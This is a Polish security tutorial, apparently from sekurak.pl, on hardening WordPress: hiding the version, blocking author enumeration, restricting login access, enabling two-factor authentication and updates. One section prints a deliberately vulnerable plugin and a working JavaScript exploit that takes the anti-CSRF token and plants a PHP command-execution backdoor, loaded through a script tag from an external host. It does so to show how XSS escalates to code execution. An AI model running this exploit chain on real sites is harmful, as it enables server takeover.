Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Jak zabezpieczyć WordPress – poradnik krok po kroku
Decyzja o tym, jakie oprogramowanie wykorzystamy w wybranym celu, często podejmowana jest na podstawie analizy czasu potrzebnego na jego wdrożenie oraz sumarycznej ilości funkcji, jakie ten system nam dostarczy. Prawdopodobne jest jednak to, że tam, gdzie priorytetem jest wygodna i czas, w pierwszej kolejności ucierpi bezpieczeństwo.
Czym jest WordPress
WordPress należy zaliczyć do oprogramowania klasy CMS (ang. Content Management System). Podstawowy zakres funkcji pozwala na szeroko pojęte dostarczanie treści oraz ich komentowanie. Standardowy wachlarz funkcji może zostać rozbudowany poprzez system wtyczek oraz szablonów, które WordPress pozwala instalować wprost z panelu zarządzania.
WordPress w liczbach
Opierając się na danych z serwisu w3techs.com, można wysnuć wniosek, że przeglądając cztery serwisy internetowe, jeden spośród nich będzie wykorzystywał jako silnik właśnie WordPress. W kategorii systemów CMS WordPress miał udział na poziomie prawie 60%. Przypominając, że mówimy o wszystkich stronach WWW dostępnych w sieci oraz o aplikacjach klasy CMS – daje to obraz skali zasięgu WordPress. Interesujące są również statystyki, jakie można znaleźć na oficjalnej stronie projektu. Wynika z nich, że aktualna rozwijana gałąź zainstalowana jest na mniej niż połowie uruchomionych instancji. Te same statystyki pozwalają ustalić, że jedna na dziesięć instalacji dalej pochodzi z wersji 3.x.
Zagrożenia
WordPress ma długą i bogatą historię wykrytych podatności. Na liście tej możemy znaleźć praktycznie wszystkie typy zagrożeń wymienione w OWASP Top 10. Obecnie jednak główne źródło problemów upatruje się we wtyczkach, które bardzo często wyróżniają się wyjątkowo niską jakością kodu. Aby się o tym przekonać, wystarczy przejrzeć agregatory exploitów. Za samo ostatnie półrocze wpisów dotyczących wtyczek WordPress jest blisko czterdzieści.
Ciekawe badanie przeprowadził również zespół RIPS. Wynika z niego, że ponad 40% z przebadanych wtyczek ma przynajmniej jedną podatność o średnim poziomie zagrożenia.
Ochrona poprzez przeciwdziałanie
Jeżeli nie mamy wpływu na zachowanie aplikacji, którą uruchamiamy we własnym środowisku, możemy zainteresować się oprogramowaniem klasy WAF. Na rynku znaleźć można kilka rozwiązań, które z powodzeniem powinny zablokować zdecydowaną większość ataków, jakie są wymierzane w kierunku naszych aplikacji WWW. Jednym z najczęściej stosowanych rozwiązań jest F5 BIG-IP lub szeroko znany CloudFlare, który w wyższych planach abonamentowych udostępnia właśnie ochronę klasy WAF. Oczywiście oprogramowanie tego typu ma zastosowanie nie tylko w przypadku serwisów uruchomionych w oparciu o WordPress.
Jeżeli jednak polityki bezpieczeństwa nie pozwalają nam na przekierowanie ruchu przez serwery firm trzecich lub na delegowanie serwerów DNS do zewnętrznych podmiotów – jak ma to miejsce w przypadku CloudFlare – oraz ogranicza nas budżet, wtedy trzeba zakasać rękawy i wziąć sprawy we własne ręce.
Hardening na własną rękę
Rozpoczynając „utwardzanie” instancji WordPress, należy pamiętać o tym, że na kwestie bezpieczeństwa lepiej nie patrzeć punktowo. Mówiąc wprost, to, czy nasza instalacja WordPress będzie bezpieczna, zależy oczywiście od konfiguracji samego CMS, ale krytyczne są tutaj również kwestie konfiguracji środowiska, na którym będzie on uruchomiony. W skład tego środowiska wchodzi zarówno serwer, na którym uruchamiamy WordPress, jak również serwer WWW i baza danych. Na tym etapie należy wykonać techniczny rachunek sumienia i odpowiedzieć na pytanie, czy chcemy skorzystać ze środowiska współdzielonego hostingu, gdzie w większości przypadków kwestie związane z konfiguracją np. PHP spadają na naszego dostawcę, czy może jednak będziemy próbowali konfigurować wynajęty serwer dedykowany lub VPS. Jeżeli decydujemy się na drugą opcję, warto zadbać o to by, środowisko zostało odpowiednio zabezpieczone oraz charakteryzowało się odpowiednią dostępnością. Kilka kwestii z tym związanych zostało opisanych na łamach serwisu sekurak.pl:
- https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-1/
- https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-2/
- https://sekurak.pl/wysokodostepna-i-wydajna-architektura-dla-lamp-tutorial-cz-3/
W trakcie konfiguracji serwera nie można również zapomnieć o zapewnieniu szyfrowanego kanału komunikacji – HTTPS. Jeżeli nasz projekt nie zalicza się do kategorii komercyjnych, możemy rozważyć wykorzystanie projektu Let’s Encrypt.
Środowisko testowe
Zmian opisanych w artykule nie zaleca się od razu wprowadzać na środowisku produkcyjnym. Wszystko warto przetestować na dedykowanych do tego instalacjach WordPress. Jeżeli takowej nie posiadamy, możemy ją szybko uruchomić przy pomocy Dockera (Listing 1).
docker run --name wordpressdb -e MYSQL_ROOT_PASSWORD=toor -e MYSQL_DATABASE=wordpress -d mysql docker run -e WORDPRESS_DB_PASSWORD=toor -d --name wordpress -p 8080:80 --link wordpressdb:mysql wordpress
Listing 1. Uruchomienie środowiska testowego za pomocą Dockera
Tak przygotowane środowisko powinno być dostępne pod adresem http://localhost:8080.
Instalacja
Na etapie instalacji WordPressa warto zadbać o wybór niestandardowej nazwy użytkownika oraz odpowiednio skomplikowanego hasła. Za dobrą praktykę uznaje się również zmianę domyślnego prefiksu tabel tworzonych w bazie.
Po przejściu do drugiego kroku instalacji musimy zdecydować, jaką nazwę wybierzemy dla głównego użytkownika (Rysunek 2). Również tutaj warto zdecydować się na coś bardziej skomplikowanego niż popularne „admin” czy „administrator”. Kluczowy jest również wybór odpowiedniego hasła, pamiętajmy: nigdy nie decydujmy się na zestaw typu „admin” jako login oraz „admin” jak hasło – nawet jeżeli uruchamiamy serwis w celach testowych i na kilka godzin.
Zmiana domyślnych ustawień
Jedną z pierwszych rzeczy, które warto zrobić zaraz po instalacji, jest wyłączenie możliwości rejestrowania się w aplikacji nowych użytkowników. Można to zrobić poprzez panel zarządzania, przechodząc do zakładki Ustawienia, a następnie Ogólne (Rysunek 3):
W kolejnym kroku warto również zadbać o to, by komentarze do wpisów oraz podstron dodawać mogły być tylko przez zalogowanych użytkowników. Opcję odpowiedzialną za wymuszenie takiego zachowania znajdziemy, przechodząc do zakładki Ustawienia, a następnie Dyskusja (Rysunek 4).
Omawiając kwestię komentarzy, należy pamiętać o tym, że jeżeli w szablonie, na który się zdecydujemy, chcemy całkowicie wyłączyć możliwość dodawania komentarzy, nie możemy ograniczyć się tylko do usunięcia z kodu szablonu formularza pozwalającego na dodawanie nowych komentarzy. Mimo że użytkownik nie będzie widział formularza pozwalającego na wpisanie tekstu oraz przycisku pozwalającego na wysłanie danych, WordPress dalej będzie miał aktywny mechanizm odbierający komentarze i zapisujący je w bazie. Aby to zweryfikować, wystarczy wysłać do naszej instalacji proste żądanie HTTP (Listing 2).
POST /wp-comments-post.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 63 comment=sekurak01&submit=Opublikuj+komentarz&comment_post_ID=10
Listing 2. Żądanie HTTP dodające komentarz do WordPress
Jeżeli serwer w odpowiedzi zwraca kod 302, wtedy z dużym prawdopodobieństwem cała operacja zakończyła się sukcesem (Listing 3).
HTTP/1.1 302 Found Date: Sat, 10 Dec 2016 14:25:24 GMT Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Set-Cookie: [usunięte] Location: https://127.0.0.1:8080/2016/12/10/test/#comment-1 Content-Length: 0 Content-Type: text/html
Listing 3. Odpowiedź serwera z kodem 302, komentarz został dodany
Można to oczywiście zweryfikować w panelu administracyjnym, przechodząc do zakładki Komentarze (Rysunek 5).
Jeżeli tak się stało, prawdopodobnie mimo ukrycia formularza nasza instalacja WordPress będzie podatna na Denial of Service poprzez masowe próby wysłania takiego zapytania i zapełnienia całej przestrzeni przewidzianej na bazę danych.
Usunięcie zbędnych zasobów
Zaraz po pomyślnej instalacji warto również zweryfikować listę domyślnie zainstalowanych wtyczek (menu Wtyczki) oraz szablonów (menu Wygląd, następnie Motywy). O ile w przypadku wtyczek przeważnie jest to jedynie Akismet, o tyle w przypadku szablonów domyślnie instalowane są aż trzy. Jeżeli nie planujemy ich wykorzystywać, warto usunąć wszystkie poza domyślnym, a na listę zadań dodać usunięcie tego ostatniego zaraz po zainstalowaniu wybranego przez nasz szablonu. Jakiś czas temu właśnie w jednym z domyślnych szablonów, TwentyFifteen, znaleziono podatność typu DOM-based Cross-Site Scripting. Oznaczało to, że praktycznie wszystkie instalacje WordPress, w których nie usunięto domyślnych szablonów, były podatne na XSS. Kilka słów o tym, dlaczego XSS jest szczególnie groźny w przypadku WordPress, zawarto w dalszej części artykułu.
Ujawnianie nadmiarowych informacji
Gdy pozbyliśmy się niepotrzebnego balastu w postaci nadmiarowych wtyczek oraz szablonów, warto zweryfikować, w jaki sposób WordPress jest widziany z zewnątrz. Pracę nad polepszeniem wizerunku możemy rozpocząć od ukrycia wersji CMS, jaki wykorzystujemy. Uwaga, ukrycie wersji nie powinno zwalniać nas od dbania o to, by zawsze wykorzystywać najnowszą stabilną wersję. WordPress ujawnia wykorzystywaną wersję w kilku miejscach:
- Plik readme.html w głównym katalogu aplikacji,
- Metatag generator w źródle strony,
- Kanały RSS,
- Wartość parametru ver dodawanego do adresów URL stylów CSS oraz skryptów JavaScript.
W przypadku pliku readme.html wydawać by się mogło, że wystarczy jego usunięcie. Problem jednak w tym, że po każdej aktualizacji będzie on tworzony na nowo. Warto więc zaprogramować usuwanie tego pliku lub rozważyć odcięcie dostępu do niego poprzez konfigurację serwera WWW (Listing 4).
<VirtualHost> … <files readme.html> order allow,deny deny from all </files> </VirtualHost>
Listing 4. Blokowanie dostępu do pliku readme.html poprzez konfigurację serwera Apache
Jak zostało to zaznaczone wcześniej, nie jest to jednak jedyny krok, jaki musimy podjąć w celu ukrycia wykorzystywanej wersji WordPress. Na szczęście zdecydowaną większość z nich można obsłużyć poprzez prostą modyfikację kodu. WordPress ma wbudowaną funkcję the_generator, która jako wynik działania zwraca w odpowiedniej formie informację o wykorzystywanej wersji systemu. WordPress udostępnia jednak możliwość nadpisywania wybranych funkcji poprzez tzw. filtry. Wykorzystując inną funkcję, add_filter, można zmodyfikować wynik działania funkcji the_generator tak, aby zwracała błędną informację o wykorzystywanej wersji lub nie zwracała jej w ogóle. Zmiany należy wprowadzić w pliku functions.php, który domyślnie znajduje się w katalogu wykorzystywanego szablonu (Listing 5).
function remove_wp_version_rss() { return ''; } add_filter('the_generator', 'remove_wp_version_rss');
Listing 5. Ukrycie wersji WordPress
Dodanie takiego fragmentu kodu powinno usunąć większość wystąpień wersji WordPress zarówno w źródle podstron, jak i w kanałach RSS. Kolejną kwestią, jaką należy się zająć, jest parametr ver dodawany do adresów URL będących ścieżkami do zasobów CSS oraz JavaScript wymaganych przez WordPress. Parametr ten można usunąć poprzez dodanie kolejnego fragmentu kodu do pliku functions.php (Listing 6).
function vc_remove_wp_ver_css_js( $src ) { if ( strpos( $src, 'ver=' ) ) $src = remove_query_arg( 'ver', $src ); return $src; } add_filter( 'style_loader_src', 'vc_remove_wp_ver_css_js', 9999 ); add_filter( 'script_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
Listing 6. Ukrywanie wersji WordPress (źródło: https://gist.github.com/tjhole/7451994)
Fragment kodu z Listingu 6 zawiera definicję funkcji, która przyjmuje na wejściu adres URL zasobu do załadowania, a następnie sprawdza, czy występuje w nim ciąg znaków ver zakończony znakiem równości. Jeżeli warunek zostanie spełniony, usuwa ten parametr z adresu URL.
Należy zauważyć, że zaproponowane zmiany w kodzie nie wpływają negatywnie na działanie WordPress. W panelu administracyjnym dalej będzie zwracana poprawna wersja.
Enumerowanie użytkowników
Oprócz ujawniania wersji WordPerssa pozwala również domyślnie na enumerację użytkowników, którzy zostali dodani w aplikacji. Poprzez przejście do zasobu z Listingu 7 wyświetlane są wpisy autora, którego login zdefiniowany jest w adresie URL.
https://adres-wordpress/author/<login_użytkownika>
Listing 7. Adres zasobu, pod którym WordPress zwraca informację o wpisach wybranego autora
Oczywiście przejście do takiego zasobu wymaga znajomości loginu użytkownika. Istnieje jednak możliwość jego ustalenia. Przekazując w adresie URL parametr author oraz wybrany identyfikator liczbowy po stronie WordPress, zostanie wyzwolona akcja, która sprawdzi, czy w bazie istnieje użytkownik o wybranym ID (Listing 8).
GET /?author=1 HTTP/1.1 Host: 127.0.0.1
Listing 8. Żądanie HTTP weryfikujące, czy w bazie istnieje użytkownik o ID równym 1
Jeżeli zostanie znaleziony użytkownik o wybranym ID, aplikacja odpowie przekierowaniem do adresu, w którym zwróci login użytkownika (Listing 9).
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Dec 2016 17:09:06 GMT Location: https://127.0.0.1:8080/author/sekurak/ Content-Length: 0 Content-Type: text/html; charset=UTF-8
Listing 9. Odpowiedź WordPress, login użytkownik ujawniony w nagłówku Location
Ocena takiego zachowania pozostaje w gestii administratora danej instancji WordPress, dobrą praktyką jednak jest nie pozwalać na enumerowanie loginów użytkowników aplikacji. Taki cel można osiągnąć np. poprzez wprowadzenie odpowiednich zmian w konfiguracji serwera WWW (Listing 10).
<IfModule mod_rewrite.c> RewriteCond %{QUERY_STRING} ^author=([0-9]*) RewriteRule .* https://127.0.0.1:8080/? [L,R=302] </IfModule>
Listing 10. Blokowanie enumeracji użytkowników poprzez konfigurację serwera Apache
W tym miejscu warto również wspomnieć o tym, że w sieci można znaleźć rozwiązanie opierające się na funkcjach dostarczanych przez WordPress. Konkretnie, podobnie jak w przypadku funkcji the_generator, wykorzystuje się mechanizm filtrów, tak aby nadpisać zachowanie akcji template_redirect. Cały kod przedstawiono w Listingu 11.
function author_page_redirect() { if ( is_author() ) { wp_redirect( home_url() ); } } add_action( 'template_redirect', 'author_page_redirect' );
Listing 11. Kod, który w założeniu ma uniemożliwić enumerację użytkowników (źródło: http://wordpress.stackexchange.com/questions/182236/completely-remove-the-author-url)
Jest to bardzo dobry przykład na to, że należy weryfikować, czy fragmenty kodów, które kopiujemy z sieci, robią tak naprawdę to, o czym piszą ich autorzy, oraz czy można je uznać za bezpieczne. Po dodaniu kodu do pliku functions.php okazuje się, że tak naprawdę enumeracja użytkowników jest nadal możliwa. Przechodząc pod adres URL z parametrem author (Listing 8) aplikacja nadal wykonuje przekierowanie pod adres zawierający login użytkownika (Listing 12).
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Dec 2016 17:34:29 GMT Location: https://127.0.0.1:8080/author/sekurak/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Listing 12. Odpowiedź aplikacji – w nagłówkach nadal ujawniany jest login użytkownika
Dopiero późniejsze zapytanie wysyłane do serwera (Listing 13) wyzwala akcję przekierowania do głównej strony (Listing 14).
GET /author/sekurak/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: [usunięte] Connection: close
Listing 13. Zapytanie wysyłane do podstrony autora
HTTP/1.1 302 Found Date: Sat, 10 Dec 2016 17:34:29 GMT Location: https://127.0.0.1:8080 Link: <http://127.0.0.1:8080/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 67122 <!DOCTYPE html> […]
Listing 14. Odpowiedź aplikacji – przekierowanie do strony głównej
Trwałość zmian
Aby zachować dobre praktyki należy wspomnieć o kwestii trwałości zmian, które wprowadzamy. O ile pliki konfiguracyjne serwera WWW oraz plik wp-config.php nie są nadpisywane w wyniku aktualizacji szablonów lub samego WordPressa, o tyle już plik functions.php, który stanowi część wybranego przez nasz szablonu może zostać w wyniku takiej aktualizacji nadpisany. Zalecanym miejscem na wprowadzanie wszelkich modyfikacji zachowania WordPress, które opierają się np. na nadpisywaniu zachowania domyślnych funkcji jest stworzona przez nas samych wtyczka:
Ochrona procesu uwierzytelnienia
WordPress nie ma wbudowanych zabezpieczeń przed atakami słownikowymi. Nic nie stoi na przeszkodzie, by przeprowadzać zautomatyzowanie próby odgadnięcia hasła użytkownika. W przypadku WordPressa jest to o tyle proste, ponieważ, jak zostało opisane wcześniej, domyślnie istnieje możliwość enumeracji użytkowników poprzez przesłanie parametru author w adresie URL i inkrementowanie jego wartości od zera wzwyż. Później pozostaje już napisanie prostego skryptu przeprowadzającego taki atak lub wykorzystanie jednego z dostępnych narzędzi, może to być chociażby Hydra.
Podejścia do ochrony formularza logowania, a co za tym idzie – początkowego elementu procesu uwierzytelnienia, są różne. Najprostsze z nich opierają się na wprowadzeniu zmian w konfiguracji serwera WWW, tak aby plik wp-login.php oraz cały zasób wp-admin były dostępne tylko z określonych adresów IP (Listing 15).
<Files wp-login.php> order allow,deny allow from 1.2.3.4 </Files> <Directory /var/www/html/wp-admin/> order deny,allow allow from 1.2.3.4 </Directory>
Listing 15. Możliwość uzyskania dostępu do formularza logowania oraz zasobu wp-admin tylko z określonych adresów IP
Jeżeli mowa już o zmianach w konfiguracji serwera WWW, nic nie stoi na przeszkodzie, aby wykorzystać standardowy mechanizm HTTP Basic Authentication (Listing 16). Zarówno jednak wykorzystanie podejścia polegającego na dopuszczaniu określonych adresów IP, jak i HTTP Basic Authentication może nie być rozwiązaniem dostatecznie elastycznym.
<Directory "/var/www/html/ "> AuthType Basic AuthName "tell me something" AuthUserFile /etc/apache2/.htpasswd Require valid-user AllowOverride All Allow from All </Directory>
Listing 16. Wdrożenie HTTP Basic Authentication w konfiguracji serwera Apache
Jeszcze większy problem może pojawić się, gdy dostęp do panelu zarządzania będzie musiała posiadać większa grupa użytkowników (np. osoby zarządzające firmową stroną wizytówkową). Bardzo szybko może pojawić się pokusa wykorzystania współdzielonych poświadczeń wykorzystywanych do przejęcia HTTP Basic Authentication, a żonglowanie dopuszczoną listą adresów IP może przyjąć postać pracy iście syzyfowej. W takim przypadku warto rozważyć wykorzystanie już nie tak nowych trendów, a mianowicie podejścia polegającego na uwierzytelnieniu wielopoziomowym (ang. multi-factor authentication).
W bazie wtyczek WordPress możemy znaleźć sporo rozwiązań pozwalających dodać warstwę uwierzytelnienia dwuskładnikowego – jednym z nich jest wtyczka Google Authenticator, która pozwala wykorzystać możliwości, jakie dostarcza projekt o tej samej nazwie – Google Authenticator. Aplikacja dostępna jest na takie platformy mobilne jak Android czy iOS. Proces wdrożenia wtyczki w naszej instancji WordPress należy rozpocząć od jej instalacji z poziomu panelu zarządzania, zakładka Wtyczki, a później menu „Dodaj nową”. Po załadowaniu strony należy wyszukać wtyczki Google Authenticator i rozpocząć proces instalacji (Rysunek 6)
Po zainstalowaniu wtyczki należy przejść do zakładki Twój profil i aktywować uwierzytelnienie dla swojego konta (Rysunek 7).
Kolejnym krokiem jest zainstalowanie aplikacji Google Authenticator z odpowiadającego naszej platformie mobilnej sklepu. Jeżeli nie wykorzystywaliśmy wcześniej Authenticatora, powinien on po uruchomieniu wyświetlić formularz pozwalający na wpisanie kodu będącego ciągiem znaków lub zeskanowanie QR kodu (Rysunek 8). Właśnie z tej drugiej opcji skorzystamy w tym artykule. Po kliknięciu w przycisk „Show/Hide QR code” (Rysunek 7) wtyczka WordPress wygeneruje dla nas obrazek QR, który następnie będziemy mogli zeskanować.
Wybierając opcję skanowania kodu kreskowego i wskazując na wyświetlany w przeglądarce QR kod, aplikacja automatycznie przeprowadzi wstępną konfigurację wymaganych ustawień.
Na koniec wszystkie zmiany należy zaakceptować, klikając w WordPress przycisk „Zaktualizuj profil” znajdujący się na samym dole podstrony Twój profil. Od tego momentu przy próbie ponownego uwierzytelnienia zauważymy, że w formularzu logowania pojawiło się nowe pole – Google Authenticator code (Rysunek 10).
Kolejna próba uwierzytelnienia powiedzie się, tylko jeżeli podamy poprawną parę login i hasła oraz sześcioznakowy kod wyświetlany w aplikacji mobilnej.
Edytor szablonów oraz wtyczek
Krytyczną z perspektywy bezpieczeństwa funkcją, w jaką został wyposażony WordPress, jest edytor kodu źródłowego wtyczek oraz szablonów (Rysunek 11).
Edytory te pozwalają modyfikować z poziomu panelu zarządzania kod PHP szablonów oraz wtyczek. Oczywiście istnieje uzasadnienie dla istnienia takich funkcji – wygodna edycja kodu bez konieczności ściągania plików na dysk i ich ręcznej aktualizacji – niemniej warto zastanowić się, dlaczego takie rozwiązania mogą być niebezpieczne. Po pierwsze, edytory te dostępne są tylko dla uprzywilejowanych użytkowników. Należy jednak pamiętać, że ci bardziej uprzywilejowani użytkownicy bardzo często operują w panelu administracyjnym na treściach, które dostarczane są przez użytkowników. Mogą to być np. komentarze, informacje o zapisanych do newslettera użytkownikach lub jakiekolwiek inne dane, które pobierane są z wejścia aplikacji, a następnie przetwarzane w panelu administracyjnym. W tym miejscu warto przypomnieć o dość popularnej podatności w aplikacjach WWW, w tym wtyczkach do WordPress – Cross-Site Scripting (XSS). Dla wielu podatność ta może wydawać się już „nudna”, jednak w przypadku WordPressa można zaprezentować prosty przykład, dzięki któremu wykonanie naszego kodu JavaScript w panelu administracyjnym pozwala przejść od podatności XSS do zdalnego wykonania kodu (RCE). Jak tego dokonać? W pierwszym kroku musimy wiedzieć lub znaleźć podatność XSS w jednym z wykorzystywanych przez nas komponentów. Może to być zarówno szablon, jak i wtyczka. W drugim kroku należy zweryfikować, w jaki sposób dane z wejścia aplikacji są przetwarzane przez nasz komponent i czy są przetwarzane w kontekście panelu administracyjnego. Jeżeli warunek ten jest spełniony, możemy spróbować przeprowadzić atak. Aby nie szukać daleko, na potrzeby artykułu przygotowana została prosta wtyczka do WordPress, którą można spakować do archiwum ZIP i zainstalować (Listing 17).
<?php /* Plugin Name: Vulnerable plugin */ add_action('admin_menu', 'vuln_plugin_menu'); function vuln_plugin_menu(){ add_menu_page( 'Vuln Plugin Page', 'Vuln Plugin', 'manage_options', 'vuln-plugin', 'vuln_plugin_init' ); } function vuln_plugin_init(){ $dir = plugin_dir_path( __FILE__ ); echo "<h1>Vulnerable plugin</h1>"; echo "<br/>"; echo file_get_contents($dir . 'data.txt'); } function vuln_plugin_shortcode() { if (isset($_POST['vuln_data'])) { $dir = plugin_dir_path( __FILE__ ); file_put_contents($dir . 'data.txt', $_POST['vuln_data']); } $vuln_form = '<form method="POST" action="?">'; $vuln_form .= '<textarea name="vuln_data"></textarea>'; $vuln_form .= '<input type="submit" value="Send data"/>'; $vuln_form .= '</form>'; return $vuln_form; } add_shortcode( 'vuln_plugin', 'vuln_plugin_shortcode' );
Listing 17. Przykładowa podatna wtyczka
Zadaniem wtyczki jest wyświetlić formularz z polem tekstowym (Rysunek 12), zapisać wprowadzone tam dane w pliku, a następnie wyświetlić je bez sanityzacji w panelu administracyjnym. Wtyczka rejestruje własny shortcode, za pomocą którego możemy osadzić formularz na dowolnej podstronie (Rysunek 13), oraz dodaje nową pozycję do menu w panelu administracyjnym (pozycja Vuln Plugin).
Mając już przygotowane podatne środowisko, możemy przejść do próby stworzenia exploita, który wykorzysta podatność. Całość stworzona zostanie z wykorzystaniem JavaScript, dodatkowo, aby ułatwić sobie zadanie, wykorzystane zostaną funkcje biblioteki jQuery, która domyślnie dołączana jest do WordPress.
jQuery.get('/wp-admin/plugin-editor.php?file=vulnerable-plugin/vulnerable-plugin.php&scrollto=0', function(data){ var token = jQuery(data).find('input[name=_wpnonce]').val(); var content = jQuery(data).find("#newcontent").val().replace("<?php","<?php echo `$_GET[0]`;\n"); jQuery.post( "/wp-admin/plugin-editor.php", { _wpnonce: token, newcontent: content, action: "update", file: "vulnerable-plugin/vulnerable-plugin.php", plugin: " vulnerable-plugin/vulnerable-plugin.php" }); });
Listing 18. Kod exploita
Przygotowany exploit (Listing 18) wykonuje kilka czynności. Zaraz po uruchomieniu wysyła on zapytanie asynchroniczne do zasobu /wp-admin. Celem tego działania jest uzyskanie odpowiedzi HTTP z kodem HTML, w którym zaszyty będzie również token anty-CSRF. Znajomość tego tokena jest niezbędna do tego, aby atak się powiódł. Dalej exploit wyszukuje token i zapisuje jego warto w zmiennej o tej samej nazwie. Kolejną czynnością, jaką wykona, jest wysyłanie zapytania POST zawierającego kilka informacji. Przede wszystkim jest to informacja o tym, jaki plik jest modyfikowany, jaka powinna być jego nowa zawartość, oraz aby wszystko przebiegło zgodnie z planem, na końcu dodawany jest pozyskany wcześniej token anty-CSRF. Wykonanie tak przygotowanego kodu powoduje, że kod wtyczki zostaje zmodyfikowany tak, by móc wykonywać na serwerze polecenia systemowe.
Tak przygotowany kod należy dołączyć w formularzu generowanym przez naszą podatną wtyczkę. Proponowaną formą jest dołączenie tego pliku z innej domeny poprzez użycie tagu script (Listing 19).
<script src=//<dowolny adres>/exploit.js></script>Sekurak
Listing 19. Kod, jaki należy wkleić w formularzu udostępnianym przez podatną wtyczkę
Następnie aby zweryfikować, czy działa poprawnie, wystarczy przejść do podstrony podatnej wtyczki w panelu administracyjnym. Jeżeli wszystko pójdzie zgodnie z planem, powinien tam wyświetlić się tylko tekst „Sekurak” (Rysunek 15).
Aby zweryfikować, czy kod exploita wykonał się poprawnie, należy jeszcze raz sprawdzić, jaką zawartość ma plik vulnerable-plugin.php (Rysunek 16).
Od teraz odwołując się bezpośrednio do skryptu vulnerable-plugin.php, możliwe będzie wykonywanie poleceń systemowych na serwerze, na którym uruchomiony jest WordPress z podatną wtyczką (Rysunek 17).
Możliwość przejęcia kontroli nad serwerem, na których uruchamiamy WordPress poprzez podatność XSS, powinna być wystarczającą motywacją do tego, by wyłączyć edytory szablonów oraz wtyczek (Listing 20).
define( 'DISALLOW_FILE_EDIT', true );
Listing 20. Fragment kodu, który należy dodać do pliku wp-config.php w celu dezaktywacji edytorów plików PHP
Nic się przede mną nie ukryje
Sposób pozwalający na enumerację użytkowników poprzez przekazanie parametru author w adresie URL jest dość dobrze znaną przypadłością WordPress, inna historia dotyczy również innego parametru – static. Po krótkiej analizie kodu źródłowego WordPressa można ustalić, że przekazanie parametru static o dowolnej wartości powoduje, że WordPress zwraca w odpowiedzi treść wszystkich dodanych w aplikacji podstron (nie wpisów). Takie zachowanie powoduje, że teoretycznie może dojść do ujawnienia treści podstrony, która została co prawda opublikowana przez administratora, ale z jakiegoś powodu nie prowadzi do niej żaden link. W trakcie wykonywania audytów systemów opartych o WordPress bardzo często można natknąć się na różnego typu „ukryte” formularze, testowe wersje podstron lub informacje o wykorzystywanych, ale nieaktywnych wtyczkach (np. poprzez nieprzetworzone shortcody). Warto więc rozważyć zablokowanie akcji wyzwalanej przez przekazanie tego parametru w podobny sposób jak w przypadku parametru author.
Zmiana domyślnych ścieżek
Wartą rozważenia jest również możliwość zmiany domyślnych ścieżek, pod którymi WordPress udostępnia swoje najważniejsze zasoby. Należy tutaj jednak jasno zaznaczyć, że takie zachowanie może jedynie spowodować, że liczne roboty oraz skrypty przeczesujące sieć po natknięciu się na tak skonfigurowaną instancję WordPress po prostu ją ominą. Jeżeli komponenty systemu (np. wtyczki lub szablony) będą nieaktualne oraz podatne na błędy bezpieczeństwa, nie uchroni nas to przed ich wykorzystaniem.
Cała operacja sprowadza się do dodania odpowiednich wpisów w pliku wp-config.php. Możemy zdefiniować ścieżkę dla całego katalogu wp-content (Listing 21) lub jeżeli preferujemy wskazać konkretne ścieżki osobno dla wtyczek, szablonów oraz plików wgrywanych na serwer.
define( 'WP_CONTENT_DIR', dirname(__FILE__) . '/blog/assets' ); define( 'WP_CONTENT_URL', 'http://example/blog/assets' );
Listing 21. Zmiana ścieżki oraz adresu katalogu wp-content
Dodanie przytoczonych fragmentów kodu powoduje nadpisanie stałych zdefiniowanych w pliku default-constants.php.
Weryfikacja kodu
Nie tyle co w ramach hardeningu, ale dbania o ogólną higienę wykorzystania WordPress, można rozważyć przeprowadzenie przynajmniej podstawowej weryfikacji kodu instalowanych w systemie wtyczek oraz szablonów. W przypadku rozbudowanych rozszerzeń może to być bardzo kłopotliwe, ale w przypadku mniejszych rozwiązań przeprowadzenie podstawowej analizy kodu PHP powinno być w zasięgu większości opiekunów takich instalacji. Osoby dysponujące większą ilością czasu oraz bardziej ambitne mogą wesprzeć swoją pracę, wykorzystując OWASP Code Review Guide.
Aktualizacje
WordPress od wersji 3.7 wzwyż potrafi automatycznie zainstalować wszystkie najważniejsze aktualizacje. Dzieje się tak o ile pozwalają to konfiguracja środowiska. Warto jednak zweryfikować, czy taki mechanizm jest aktywny oraz czy nie wprowadzono zmian, które blokują instalowanie automatycznych aktualizacji. Zablokowanie tego mechanizmu możliwe jest poprzez modyfikację pliku wp-config.php (Listing nr. 22).
define( 'AUTOMATIC_UPDATER_DISABLED', true ); // UWAGA: niezalecana konfiguracja
Listing 22. Wymuszanie na WordPress instalacji wszystkich stabilnych aktualizacji
WordPress pozwala również namodyfikację zachowania mechanizmu automatycznych aktualizacji. W zależności od ustawień parametru WP_AUTO_UPDATE_CORE (Listing 23) możemy wymusić instalowanie tylko najważniejszych aktualizacji lub nawet wersji WordPress pochodzących z gałęzi deweloperskiej – ta opcja oczywiście nie jest zalecana jeżeli dbamy o stabilność naszego środowiska.
define( 'WP_AUTO_UPDATE_CORE', minor );
Listing 23. Wymuszenie automatycznej instalacji aktualizacji dla wtyczek, szablonów oraz tłumaczeń
REST API
Od kilku wersji wstecz WordPress posiada wbudowane wsparcie dla REST API, które umożliwia dostęp do najważniejszych elementów udostępnianych przez WordPress. Jeżeli nie planujemy wykorzystywać tego mechanizmu, warto rozważyć jego wyłączenie:
Weryfikacja
